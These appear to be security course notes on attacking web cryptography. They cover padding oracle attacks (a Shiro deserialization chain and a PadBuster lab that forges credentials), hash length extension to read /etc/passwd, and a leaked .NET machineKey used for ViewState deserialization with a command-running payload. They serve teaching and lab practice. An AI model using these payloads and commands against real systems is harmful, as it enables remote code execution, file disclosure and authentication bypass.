Attacking Crypto

  • Padding Oracle Attack
  • Hash Length Extension Attack
  • Leveraging machineKey
  • Subverting HMAC in Node.js

What is a Padding Oracle

In web app an Oracle is any application functionality, error message or behavior that can reveal valuable information

  • https://robertheaton.com/2013/07/29/padding-oracle-attack/
  • This attack leverages proper and improper padding as a means of gaining application information

CBC-mode decryption funcions operating with PLCS7-mode padding

  • http://seffyvon.github.io/cryptography/2014/08/20/CBC-Padding-Oracle-Attacks/
  • A padding oracle can reveal if the padding is correct For a given ciphertext.

Another resource:

  • http://netifera.com/research/poet/PaddingOracleBHEU10.pdf

Intermediate Values

Are the output of the block cipher during the block cipher process

Essentially, they can be seen as the state of a ciphertext block after decryption and before the XOR operation with the previous ciphertext block

Once intermediate bytes are found, deciphering the plaintext of the corresponding ciphertext is easy

Padding Oracle Attack Scenario

Scenario of attack against Apache Shiro

Apache Shiro is a Java Security framework that has functions to perform authentication, authorization, password, and session management.

  • older shiro versions suffered from a Padding Oracle Vulnerability, that when chained with a another deserialization-based vulnerability could result in RCE
  • Shiro used the AES-128-CBC mode to encrypt cookies enabling Padding Oracle attacks.

Moreover:

  • https://www.anquanke.com/post/id/192819

Creating vulnerable environment

We have set up our own vuln environment using Apache Shiro 1.4.1 + tomcat:8-jre8

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.4.1
mvn install
cd samples/web
mvn install

Copy the samples-web-1.4.1.war package (samples/target) obtained after compilation to the Tomcat webapps directory

start tomcat

The attack

1 - Grab cookie with BURP

2 - Create a serialized payload with YsoSerial:

java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/Success" > payload.class

3 - Download the publicly available exploit:

https://github.com/wuppp/shiro_rce_exp/blob/master/shiro_exp.py
# use to captures the 'remember me' cookie as a prefix For the Padding Oracle attack

4 - After a couple hours the exploit script provided us with a valid cookie containing our payload. This cookie will be deserialized by the vuln server

5 - Use BURP Repeater to issued a request with out crafted cookie.

The Padding Oracle Attacks are Chosen-Ciphertext Attacks (CCA)

Fundamentals

There are web apps that prepend a secret value to data, hash this value with a flawed algorithm and provides the user with both data and the hash, but not the secret

# On other part of the communication, the server relies on the secret For data validation purposes
# An attacker that does not know the value of the secret can still generate a valid hash For 
{secret || data || attacker_controlled_data}.

# An attacker can calculate a valid hash For a message without knowing the value of the secret. 
# He can do that by just guessing its length. Hashes are calculated in blocks and the hash of one block is the state For the next block.

Example

Request:

stock_quantity=20&price=1000

Hash:

[secretpass|stock_quantity=20&price=1000|padding] => Hash1/State1

Final Request:

stock_quantity=20&price=1000&hash=Hash1

If an attacker manages to identify the length of padding, he will have all the info needed to calculate a new hash.

Attack Hash:

[secretpass|stock_quantity=20&price=1000|padding|&price=100]

Attack Hash:

[State1|&price=10]=>Hash2/State2

Final Request:

stock_quantity=20&price=1000+padding&price=100&hash=Hash2

Moreover the calculations required during Hash Length Extension Attacks:

https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks

Hash length extension Scenario

  • https://github.com/SpiderLabs/CryptOMG

Challenge 5 is what we need to witness how a hash length extension can be performed

Lets try reading the contents of /etc/passwd by executing the attack

We dont need to know the secret value being used. We only need to successfully guess the length of the secret.

For this task we can use hash_extender:

#  https://github.com/iagox86/hash_extender
# The specify a known hash value
# The specify an estimation regarding the secrets length (between 10 and 40 bytes)
# We will have to experiment with the amount of ../../ to be used

./hash_extender -f sha1 --data 'test' -s <hash> --append '../../../../../../../../../etc/passwd' --secret-min=10 --secret-max=40 --out-data-format=html --table > payloads.out
  • Now use the payloads.out inside the BURP Intruder
  • we will follow a Sniper approach

Eventually, we are able to see the content of /etc/passwd by means of a Hash Length Extension Attack.

Alt text

The importance of machineKey

  • https://msdn.microsoft.com/en-us/data/w8h3skw9(v=vs.110)

Its a feature used to specify encryption settings For application services, such as view state, forms authentication and roles in a system.

  • Machine Key contains a set of fields like validation key, decryption key and so on where unique keys are to be entered.

Alt text

Alt text

Leveraging a leaked machineKey for RCE

Scenario, we are pentesting a .NET application

  1. The application offers file uploading functionality (the ‘aspx’, ‘.config’,’.ashx’, ‘.asmx’, ‘aspq’, ‘.axd’,’.cshtml’,’.cshtml’,’.rem’,’.soap’,’.vbhtm’, ‘.vbhtml’,’.asa’,’.asp’, and ‘.cer’ extensions are blacklisted.
  2. Validation of viewstate MAC is performed (this prevents deserialization exploitation without knowing the cryptographic key - machineKey)

Our only change is to find the machine Key

We can try uploading the following, in attempt to leak the machine key:

<!--#include file="..\..\web.config" -->
// test.shtml

Attempt successfull, we can open view source code to retrieve its contents

Now we need to figure out how the MAC generated and verified:

- https://referencesource.microsoft.com/#system.web/UI/ObjectStateFormatter.cs
- https://referencesource.microsoft.com/#System.Web/Configuration/MachineKeySection.cs

If u read the above, u will conclude to the below logic:

- MAC_HASH = MD5(serialized_data_binary + validation_key + 0x00000000)
- VIEWSTATE = Base64_Encode(serialized_data_binary + MAC_HASH)

Exploitation

We need the YsoSerial.net and to implement the MAC-related logic of the previous information

ysoserial.exe -o base64 -g TypeConfuDelegate -f ObjectStateformatter -c "cmd /c ping <attacker ip>"

Alt text

In this case, we did not attack crypto per se. Instead, we leveraged the SSI feature of the underlying server to leak the cryptographic key

Implementing strong crypto is important, but protecting the cryptographic key is of equal importance.

Subverting HMAC Scenario

Example of HMAC can be subverted through Remote Memory Disclosure in Node.js

The source code of the vuln app will be provided, so we can try the attack locally

- https://en.wikipedia.org/wiki/HMAC

Lab

Setup code

  • https://github.com/GDSSecurity/PaddingOracleDemos

Solution

Step 1: Open the lab link to access the Kali GUI instance.

Step 2: Check if the provided machine/domain is reachable.

Command:

ping -c3 demo.ine.local
  • The provided machine is reachable.

Step 3: Check open ports on the provided machine.

Command:

nmap -sS -sV demo.ine.local

Port 80 is open on the target server. Werkzeug httpd server is running on that port.

Step 4: Check the web application available on port 80.

Encrypt the following plaintext:

ApplicationUsername=user&Password=sesame
  • Visit the following URL for encrypting the above plaintext (make sure to URL encode the = and & characters):

URL: http://demo.ine.local/encrypt?plain=ApplicationUsername%3duser%26Password%3dsesame

Encrypted text is: 6b664ef0359fe233e021ad36b12d8e32b8f1335522753d45174435c16b52dc2e5bbd4363b9d91d4c9100beae6ce34e80

Step 5: Decrypt the ciphertext.

To decrypt the ciphertext, we can visit the /echo endpoint and provide the ciphertext:

URL: http://demo.ine.local/echo?cipher=6b664ef0359fe233e021ad36b12d8e32b8f1335522753d45174435c16b52dc2e5bbd4363b9d91d4c9100beae6ce34e80

The plaintext message was successfully retrieved.

Step 6: Confirm a padding oracle’s presence.

A padding oracle’s presence can be identified as follows - Try to tamper with the correct encrypted string and notice the exceptions (notice the “gg” part at the beginning of the ciphertext):

URL: http://demo.ine.local/echo?cipher=gg664ef0359fe233e021ad36b12d8e32b8f1335522753d45174435c16b52dc2e5bbd4363b9d91d4c9100beae6ce34e80
  • Notice the exception. The application expected hexadecimal digits but found non-hexadecimal digits instead (letter ‘g’).

Now check the response from the following URL:

  • URL: http://demo.ine.local/echo?cipher=g

Now check the response from the following URL:

URL: http://demo.ine.local/echo?cipher=6b

These errors may suggest that:

- The string consists of hexadecimal characters (0-0xff)
- The string has to be aligned to two characters
- The string is being decrypted somehow
  • Since different strings produced different exceptions, there might be a chance to perform a padding oracle attack here.

Step 7: Decrypt the encrypted data by performing a padding oracle attack.

PadBuster is started with the following arguments in our attempt to decrypt the encrypted data:

Command:

padbuster "http://demo.ine.local/echo?cipher=6b664ef0359fe233e021ad36b12d8e32b8f1335522753d45174435c16b52dc2e5bbd4363b9d91d4c9100beae6ce34e80" "6b664ef0359fe233e021ad36b12d8e32b8f1335522753d45174435c16b52dc2e5bbd4363b9d91d4c9100beae6ce34e80" 16 -encoding 1

The following are the options provided to the PadBuster tool:

- The target URL containing the ciphertext
- The ciphertext itself
- Block size (128 bits = 16 bytes)
- Encoding type 1 = lowercase hex (which was confirmed by experimenting with the endpoint in the previous step)

You would be prompted with the following message:

Enter an ID that matches the error condition NOTE: The ID# marked with ** is recommended :

Enter 2.

Padbuster was able to recover two blocks of the plaintext message:

Block 1 Results:

[+] Cipher Text (HEX): b8f1335522753d45174435c16b52dc2e
[+] Intermediate Bytes (HEX): 0a0b2bcd40ec8741c671cc45c25ae140
[+] Plain Text: ame=user&Passwor

Block 2 Results:

[+] Cipher Text (HEX): 5bbd4363b9d91d4c9100beae6ce34e80
[+] Intermediate Bytes (HEX): dccc4030511450201f4c3dc9635ad426
[+] Plain Text: d=sesame
Decrypted value: ame=user&Password=sesame

PadBuster revealed that behind the encrypted string, there is the ame=user&Password=sesame string.

However, if you take a look at the decrypted blocks, they are just 2/3 of the entire ciphertext.

The first part, which is equal to 1/3 of the length, was not decrypted. It may contain other parameters or the full name of the first parameter.

This happened because the first block is XOR’d with the initialization vector (IV), which is not known to us.

Image Source: https://samsclass.info/141/proj/p11pad9.png

To get the first block, we would need the IV.

Step 8: Recreate the missing parameter and obtain the key.

Visit the /check endpoint and provide the ciphertext, and it will give back the complete details about the encrypted string:

URL: http://demo.ine.local/check?cipher=6b664ef0359fe233e021ad36b12d8e32b8f1335522753d45174435c16b52dc2e5bbd4363b9d91d4c9100beae6ce34e80

The decrypted as well as the parsed content is shown in the response.

  • We now know that the full parameter name is ApplicationUsername. This should be the content of the first, previously not decrypted, block 6b664ef0359fe233e021ad36b12d8e32.

So far, we know that we have three blocks:

6b664ef0359fe233e021ad36b12d8e32 -> ApplicationUsern
b8f1335522753d45174435c16b52dc2e -> ame=user&Passwor
5bbd4363b9d91d4c9100beae6ce34e80 -> d=sesame

To obtain the key, we need to run Padbuster with the following arguments:

Command:

padbuster "http://demo.ine.local/check?cipher=6b664ef0359fe233e021ad36b12d8e32" "6b664ef0359fe233e021ad36b12d8e32" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "6b664ef0359fe233e021ad36b12d8e32b8f1335522753d45174435c16b52dc2e" -noiv

The reason for these arguments is the following:

- We use just the first block of the whole encrypted string - the one that was not decrypted
- Next, we specify 16 bytes as the block size and lowercase hex encoding
- error tells the application what string to look for in the response page to treat it as the error (we could have identified that error message by requesting something like http://demo.ine.local/check?cipher=6b664ef0359fe233e021ad36b12d8e32b8f1335522753d45174435c16b52dc2e5bbd4363b9d91d4c9100beae6ce34eff and the response would indicate of the invalid padding)
- noiv is used to get the intermediate value after decrypting the first block.

Obtaining the key will look as follows:

Block 1 Results:

[+] Cipher Text (HEX): 6b664ef0359fe233e021ad36b12d8e32
[+] Intermediate Bytes (HEX): 221449095f050045505c5e671003460d
[+] Plain Text: "I      _EP\^gF

Step 10: Retrieving the signing key.

To get the key, we need to XOR the hex representation of the ciphertext (Intermediate bytes - hex for "I _EP\^gF) with the hex representation of "ApplicationUsern", which is 0x4170706c69636174696f6e557365726e.

# Visit a XOR calculator website like https://xor.pw:

Provide the following hex values in the input fields:

Input 1: 4170706c69636174696f6e557365726e
Input 2: 221449095f050045505c5e671003460d
The result is 0x63643965366661313933303263663463, which translates to cd9e6fa19302cf4c in ASCII (coverted using https://www.rapidtables.com/convert/number/hex-to-ascii.html):
Signing Key: cd9e6fa19302cf4c

Step 11: Craft a custom username and password.

To make the application receive authorization as the username and bypass as the password, we would provide similar arguments to PadBuster, as before, like the ones set to obtain the encryption key.

  • PadBuster’s base will be the first block with the prefix and the same error indicator. The only addition is padding to the plaintext to close the “previous” argument when encrypting (we need data in the below format):
Application_garbage_data=xyz&ApplicationUsername=authorization&Password=bypass

Note that =xyz can be replaced with =anything& as we just want to close the first argument in the GET request. Otherwise, all the encrypted data would be understood by the application as the value of the previous parameter and would not be treated as username and password values:

Command:

padbuster "http://demo.ine.local/check?cipher=6b664ef0359fe233e021ad36b12d8e32" "6b664ef0359fe233e021ad36b12d8e32" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "6b664ef0359fe233e021ad36b12d8e32b8f1335522753d45174435c16b52dc2e" -plaintext "=xyz&ApplicationUsername=authorization&Password=bypass"

Once the tool finishes its work, you should get back the following output:

[+] Encrypted value is: 5455c513e812a5bfbddfa75194573f07d4ddee7f0f8ec540644a5e38679f39ea17f4add5e45ec7f74119ade4bf6e2615ab0b799bb09f03bb7dc3260512cf1a7400000000000000000000000000000000

Step 12: Confirm the modification done to the username and the password.

Send the encrypted value for authentication, to the /check endpoint:

URL: http://demo.ine.local/check?cipher=5455c513e812a5bfbddfa75194573f07d4ddee7f0f8ec540644a5e38679f39ea17f4add5e45ec7f74119ade4bf6e2615ab0b799bb09f03bb7dc3260512cf1a7400000000000000000000000000000000

We can see that the application correctly recognized the forged username and password. In a real-life scenario, the ability to tamper with insufficiently encrypted data might result in an effective authorization bypass.

Root Cause:

The padding oracle attack is meant to illustrate the idea that something as innocuous as revealing whether the padding is valid or not can reveal a lot of information when abused in the right context.

Prevention:

- Use GCM/No Padding rather than CBC Padding mode.
- Catch all decryption errors and return generic messages instead of reporting specific padding errors.
- Implement Encrypt-then-MAC. In case a cipher arriving at the server was tampered with, 
  it will be dropped before any padding information is leaked.
- Limit requests coming from the same source.

Reference: https://www.youtube.com/watch?v=lkPBTJ3yiCI

References

- https://github.com/AonCyberLabs/PadBuster
- https://www.youtube.com/watch?v=lkPBTJ3yiCI